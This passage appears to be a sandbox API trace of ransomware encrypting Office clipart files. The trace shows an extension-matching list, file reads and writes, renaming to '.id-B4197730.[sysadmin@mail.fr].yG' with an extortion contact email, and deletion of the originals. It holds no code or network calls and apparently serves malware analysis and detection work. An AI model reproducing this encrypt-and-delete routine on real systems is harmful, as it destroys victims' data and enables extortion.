	[0054.413] lstrlenW (lpString=".1cd") returned 4
	[0054.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0054.413] lstrlenW (lpString=".jpg") returned 4
	[0054.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.414] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.414] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.415] GetLastError () returned 0x0
	[0054.415] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xfb8, lpOverlapped=0x0) returned 1
	[0054.453] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xfc0, lpOverlapped=0x0) returned 1
	[0054.454] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.454] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.454] SetEndOfFile (hFile=0x2f4) returned 1
	[0054.454] CloseHandle (hObject=0x2f4) returned 1
	[0054.455] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.455] SetEndOfFile (hFile=0x388) returned 1
	[0054.455] CloseHandle (hObject=0x388) returned 1
	[0054.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1
	[0054.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0054.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0054.456] lstrlenW (lpString=".doc") returned 4
	[0054.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.456] lstrlenW (lpString=".docx") returned 5
	[0054.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.456] lstrlenW (lpString=".pdf") returned 4
	[0054.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.456] lstrlenW (lpString=".xls") returned 4
	[0054.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.456] lstrlenW (lpString=".xlsx") returned 5
	[0054.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.456] lstrlenW (lpString=".ppt") returned 4
	[0054.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0054.456] lstrlenW (lpString=".zip") returned 4
	[0054.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.456] lstrlenW (lpString=".rar") returned 4
	[0054.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.456] lstrlenW (lpString=".bz2") returned 4
	[0054.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.457] lstrlenW (lpString=".7z") returned 3
	[0054.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0054.457] lstrlenW (lpString=".dbf") returned 4
	[0054.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0054.457] lstrlenW (lpString=".1cd") returned 4
	[0054.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0054.457] lstrlenW (lpString=".jpg") returned 4
	[0054.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.457] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.457] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.457] GetLastError () returned 0x0
	[0054.457] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1264, lpOverlapped=0x0) returned 1
	[0054.465] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1270, lpOverlapped=0x0) returned 1
	[0054.467] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.467] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.467] SetEndOfFile (hFile=0x2f4) returned 1
	[0054.467] CloseHandle (hObject=0x2f4) returned 1
	[0054.468] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.468] SetEndOfFile (hFile=0x388) returned 1
	[0054.469] CloseHandle (hObject=0x388) returned 1
	[0054.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1
	[0054.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0054.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0054.469] lstrlenW (lpString=".doc") returned 4
	[0054.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.469] lstrlenW (lpString=".docx") returned 5
	[0054.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.469] lstrlenW (lpString=".pdf") returned 4
	[0054.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.470] lstrlenW (lpString=".xls") returned 4
	[0054.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.470] lstrlenW (lpString=".xlsx") returned 5
	[0054.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.470] lstrlenW (lpString=".ppt") returned 4
	[0054.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0054.470] lstrlenW (lpString=".zip") returned 4
	[0054.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.470] lstrlenW (lpString=".rar") returned 4
	[0054.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.470] lstrlenW (lpString=".bz2") returned 4
	[0054.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.470] lstrlenW (lpString=".7z") returned 3
	[0054.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0054.470] lstrlenW (lpString=".dbf") returned 4
	[0054.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0054.470] lstrlenW (lpString=".1cd") returned 4
	[0054.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0054.470] lstrlenW (lpString=".jpg") returned 4
	[0054.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.470] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.470] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.471] GetLastError () returned 0x0
	[0054.471] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x30c2, lpOverlapped=0x0) returned 1
	[0054.480] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x30d0, lpOverlapped=0x0) returned 1
	[0054.481] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.481] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.481] SetEndOfFile (hFile=0x2f4) returned 1
	[0054.482] CloseHandle (hObject=0x2f4) returned 1
	[0054.482] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.482] SetEndOfFile (hFile=0x388) returned 1
	[0054.483] CloseHandle (hObject=0x388) returned 1
	[0054.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1
	[0054.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0054.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0054.484] lstrlenW (lpString=".doc") returned 4
	[0054.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.484] lstrlenW (lpString=".docx") returned 5
	[0054.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.484] lstrlenW (lpString=".pdf") returned 4
	[0054.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.484] lstrlenW (lpString=".xls") returned 4
	[0054.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.484] lstrlenW (lpString=".xlsx") returned 5
	[0054.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.484] lstrlenW (lpString=".ppt") returned 4
	[0054.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0054.484] lstrlenW (lpString=".zip") returned 4
	[0054.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.484] lstrlenW (lpString=".rar") returned 4
	[0054.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.484] lstrlenW (lpString=".bz2") returned 4
	[0054.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.485] lstrlenW (lpString=".7z") returned 3
	[0054.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0054.485] lstrlenW (lpString=".dbf") returned 4
	[0054.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0054.485] lstrlenW (lpString=".1cd") returned 4
	[0054.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0054.485] lstrlenW (lpString=".jpg") returned 4
	[0054.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.487] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.487] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.488] GetLastError () returned 0x0
	[0054.488] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1678, lpOverlapped=0x0) returned 1
	[0054.502] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1680, lpOverlapped=0x0) returned 1
	[0054.503] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.503] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.503] SetEndOfFile (hFile=0x2f4) returned 1
	[0054.503] CloseHandle (hObject=0x2f4) returned 1
	[0054.503] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.503] SetEndOfFile (hFile=0x388) returned 1
	[0054.504] CloseHandle (hObject=0x388) returned 1
	[0054.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1
	[0054.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0054.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0054.505] lstrlenW (lpString=".doc") returned 4
	[0054.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.505] lstrlenW (lpString=".docx") returned 5
	[0054.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.505] lstrlenW (lpString=".pdf") returned 4
	[0054.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.505] lstrlenW (lpString=".xls") returned 4
	[0054.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.505] lstrlenW (lpString=".xlsx") returned 5
	[0054.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.505] lstrlenW (lpString=".ppt") returned 4
	[0054.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0054.505] lstrlenW (lpString=".zip") returned 4
	[0054.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.505] lstrlenW (lpString=".rar") returned 4
	[0054.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.505] lstrlenW (lpString=".bz2") returned 4
	[0054.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.505] lstrlenW (lpString=".7z") returned 3
	[0054.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0054.505] lstrlenW (lpString=".dbf") returned 4
	[0054.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0054.506] lstrlenW (lpString=".1cd") returned 4
	[0054.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0054.506] lstrlenW (lpString=".jpg") returned 4
	[0054.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.506] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.506] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.506] GetLastError () returned 0x0
	[0054.506] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xbc8, lpOverlapped=0x0) returned 1
	[0054.534] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0054.534] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.535] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.535] SetEndOfFile (hFile=0x2f4) returned 1
	[0054.535] CloseHandle (hObject=0x2f4) returned 1
	[0054.535] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.536] SetEndOfFile (hFile=0x388) returned 1
	[0054.536] CloseHandle (hObject=0x388) returned 1
	[0054.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1
	[0054.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0054.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0054.538] lstrlenW (lpString=".doc") returned 4
	[0054.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.538] lstrlenW (lpString=".docx") returned 5
	[0054.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.539] lstrlenW (lpString=".pdf") returned 4
	[0054.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.539] lstrlenW (lpString=".xls") returned 4
	[0054.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.539] lstrlenW (lpString=".xlsx") returned 5
	[0054.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.539] lstrlenW (lpString=".ppt") returned 4
	[0054.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0054.539] lstrlenW (lpString=".zip") returned 4
	[0054.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.539] lstrlenW (lpString=".rar") returned 4
	[0054.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.539] lstrlenW (lpString=".bz2") returned 4
	[0054.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.539] lstrlenW (lpString=".7z") returned 3
	[0054.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0054.539] lstrlenW (lpString=".dbf") returned 4
	[0054.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0054.539] lstrlenW (lpString=".1cd") returned 4
	[0054.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0054.539] lstrlenW (lpString=".jpg") returned 4
	[0054.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.549] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.549] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0054.550] GetLastError () returned 0x0
	[0054.550] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x69aa, lpOverlapped=0x0) returned 1
	[0054.646] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x69b0, lpOverlapped=0x0) returned 1
